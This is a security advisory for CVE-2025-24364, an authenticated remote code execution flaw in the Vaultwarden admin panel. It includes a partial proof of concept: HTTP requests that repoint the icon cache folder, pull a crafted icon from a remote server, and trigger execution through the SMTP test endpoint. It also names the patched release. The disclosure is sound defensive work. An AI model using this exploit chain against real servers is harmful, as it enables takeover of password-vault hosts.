GHSA-h6cc-rc6q-23j4 / CVE-2025-24364: RCE in the admin panel
- Published:
- Fetched:
- Updated:
- Affects:
- dani-garcia vaultwarden/server
https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-h6cc-rc6q-23j4 ↗
RCE in the admin panel ### Summary Attacker with authenticated access to the vaultwarden admin panel can execute arbitrary code in the system. ### PoC Specify settings as shown below on the image.  Then set read-only option Icon cache folder by sending POST /admin/config request manually: POST /admin/config HTTP/1.1 Host: 127.0.0.1:8001 Content-Type: application/json Cookie: VW_ADMIN= ``` { ... "icon_cache_folder":"/@icon" } ``` Execute following command for craft payload:  After that serve image on remote server with name `apple-touch-icon.png` or `favicon.ico`. Download it on vaultwarden host by `GET /icons/site.com/icon.png` request. We can see `@icon` directory and `site.com.png` file on the vaultwarden host.  Finally, make an http request to execute code ``` POST /admin/test/smtp HTTP/1.1 Host: 127.0.0.1:8001 Cookie: VW_ADMIN= {"email":"test@test.com"} ```  Affected packages: docker hub:vaultwarden/server Patched: vaultwarden/server 1.33.0